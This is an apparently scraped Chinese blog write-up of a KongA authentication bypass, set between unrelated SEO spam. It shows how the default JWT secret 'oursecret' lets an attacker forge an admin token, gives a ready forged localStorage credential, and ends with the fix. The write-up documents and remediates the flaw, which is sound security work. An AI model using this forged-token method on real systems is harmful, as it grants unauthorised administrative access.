当前位置: 首页 > news >正文

开通域名后怎样建设网站百度指数移动版怎么用

开通域名后怎样建设网站,百度指数移动版怎么用,vs和dw做网站的区别,域名不变 新网站KongA 简介 KongA 介绍 KongA 是 Kong 的一个 GUI 工具。GitHub 地址是 https://github.com/pantsel/konga 。 KongA 概述 KongA 带来的一个最大的便利就是可以很好地通过UI观察到现在 Kong 的所有的配置,并且可以对于管理 Kong 节点 漏洞成因 未设置TOKEN_SECRE…

KongA 简介

KongA 介绍 KongA 是 Kong 的一个 GUI 工具。GitHub 地址是 https://github.com/pantsel/konga 。 KongA 概述 KongA 带来的一个最大的便利就是可以很好地通过UI观察到现在 Kong 的所有的配置,并且可以对于管理 Kong 节点

漏洞成因

未设置TOKEN_SECRET导致攻击者可以伪造任意用户的token登录后台。

环境搭建

https://blog.csdn.net/qq_28284093/article/details/109611898

正常功能

login路由输入用户名密码登录

代码在https://github.com/pantsel/konga/blob/57f40d45108341eb57b7360cd01e8288e619747f/api/services/protocols/local.js#L71

验证用户名密码后会生成一个jwt的token。

https://github.com/pantsel/konga/blob/57f40d45108341eb57b7360cd01e8288e619747f/api/controllers/AuthController.js#L294

从上图可以看到仅仅将user.id传入issue函数。

https://github.com/pantsel/konga/blob/57f40d45108341eb57b7360cd01e8288e619747f/api/services/Token.js#L23

这里是漏洞的关键,如果没有设置TOKEN_SECRET的话,默认是oursecret。所以实战情况下漏洞场景还是存在的。

生成token之后将返回的json串存储在localStorage中作为凭证。

代码在

https://github.com/pantsel/konga/blob/57f40d45108341eb57b7360cd01e8288e619747f/assets/js/app/core/auth/services/AuthService.js#L105

攻击利用

先登录一下,看看localStorage。

ngStorage-credentials对应login路由返回包内容

{"user":{"createdUser":null,"updatedUser":1,"node":{"id":6,"name":"kong","type":"default","kong_admin_url":"http://172.30.0.3:8001","netdata_url":null,"kong_api_key":"","jwt_algorithm":"HS256","jwt_key":null,"jwt_secret":null,"username":"","password":"","kong_version":"2.5.0","health_checks":false,"health_check_details":null,"active":false,"createdAt":"2021-07-16T03:26:11.000Z","updatedAt":"2021-07-16T03:26:11.000Z","createdUser":1,"updatedUser":1},"id":1,"username":"admin","email":"admin@admin.com","firstName":null,"lastName":null,"admin":true,"node_id":"","active":true,"activationToken":"7c15366f-2f45-4d2d-93ed-ad57b03e09ba","createdAt":"2021-07-16T03:21:14.000Z","updatedAt":"2021-07-16T03:26:11.000Z"},"token":"eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3s4VaopLDCcf4nZvH6DQo"}

jwt解密一下看看

朴实无华,user.id就是1 。第一个注册用户是1,第二个注册用户是2。因为第一个用户往往是管理员用户,所以实战情况下构造1的jwt即可。

下面构造任意用户的jwt

eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3s4VaopLDCcf4nZvH6DQo

构造凭证:

{"user":{"createdUser":null,"updatedUser":1,"node":{"id":1,"name":"admin","type":"default","kong_admin_url":"1","netdata_url":null,"kong_api_key":"","jwt_algorithm":"HS256","jwt_key":null,"jwt_secret":null,"username":"","password":"","kong_version":"2.5.0","health_checks":false,"health_check_details":null,"active":false,"createdAt":"1","updatedAt":"1","createdUser":1,"updatedUser":1},"id":1,"username":"1","email":"qq@qq.com","firstName":null,"lastName":null,"admin":true,"node_id":"","active":true,"activationToken":"1","createdAt":"1","updatedAt":"1"},"token":"eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3s4VaopLDCcf4nZvH6DQo"}

修改localStorage成功进入后台。

漏洞修复

部署时设置TOKEN_SECRET且值为不可爆破的字符串即可。

http://www.khdw.cn/news/27538.html

相关文章:

  • 怎么将网站权重提上去电脑优化用什么软件好
  • 传奇网站一般怎么做的seo网站首页推广
  • 生产模板的厂家更先进的seo服务
  • 孝感做网站公司求网址
  • 网站制作品牌公司网络营销主要是什么
  • 毕业设计做网站论文好写吗市场调研分析
  • 宜昌 网站建设黑帽seo论坛
  • 湖北省建设厅网站如何申诉网站建设产品介绍
  • 福清市住房和城乡建设局网站link友情买卖
  • 曹鹏wordpress教程全套seo培训教程
  • 163邮箱企业邮箱优化网址
  • 设计高端网站关键词优化排名哪家好
  • 用mvc做网站的框架免费聊天软件
  • 银行系统网站模板百度关键词怎么优化
  • 网站风格要求软件开发公司有哪些
  • 网站快速排名是怎么做的网站赚钱
  • ppt免费模板100个漳州seo网站快速排名
  • 网站建设原型图汕头网站建设方案维护
  • 先做网页设计还是先弄网站软文营销常用的方式是什么
  • 苏州企业网站优化福州网站seo公司
  • 怎么用手机自创游戏济南网站自然优化
  • 网站单页做301灵宝seo公司
  • 做公司网站费用建立网站的步骤
  • wordpress建视频网站汕头seo全网营销
  • linux 做网站数据库成都百度搜索排名优化
  • wordpress无刷新评论深圳seo优化
  • 手机网站改版今天热点新闻事件
  • 中央农村工作会议内容和精神2021网站seo优化包括哪些方面
  • 商丘市做网站的公司网络公司网站
  • 甘肃网站怎样备案营口建网站的公司